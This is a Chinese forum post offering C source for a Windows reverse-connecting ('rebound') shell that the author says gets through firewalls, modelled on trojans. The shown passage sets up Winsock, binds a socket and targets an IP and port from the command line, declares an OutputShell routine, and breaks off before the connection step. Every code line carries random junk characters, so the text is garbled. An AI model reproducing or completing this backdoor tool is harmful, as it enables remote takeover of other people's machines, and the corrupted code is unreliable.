这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2vTO>*t
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/* ============================== 0W0GSDx
Rebound port in Windows NT *I!R0;HT
By wind,2006/7 4E2#krE%
===============================*/ DKJ_g.]X
#include IsmZEVuC
#include E[WU
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#pragma comment(lib,"wsock32.lib")
W[I$([
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void OutputShell(); I{Ip
SOCKET sClient; h/oun2C
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0cSm^a
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void main(int argc,char **argv) MJh.)kd$
{ O1UArD
WSADATA stWsaData; d5NE:%K
int nRet; L[ZS17;*
SOCKADDR_IN stSaiClient,stSaiServer; 43E)ltR=]
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if(argc != 3) m62Zta
{ #8sy QWlG
printf("Useage:\n\rRebound DestIP DestPort\n"); 4qQE9fxdY
return; e`co:HO`#
} tmOy"mq67
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WSAStartup(MAKEWORD(2,2),&stWsaData); }]H7uC!t
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Zr1"'+-
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stSaiClient.sin_family = AF_INET; YO-B|f
stSaiClient.sin_port = htons(0); yH=<KYk
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); q_6lD~~q^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^mjU3q{;
{ SHs [te[
printf("Bind Socket Failed!\n"); OwEV$Q
return; VQ,5&-9Y3
} jI'?7@32`
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stSaiServer.sin_family = AF_INET; .71ZeLv*
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .rG~\Ws
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C+P.7]?&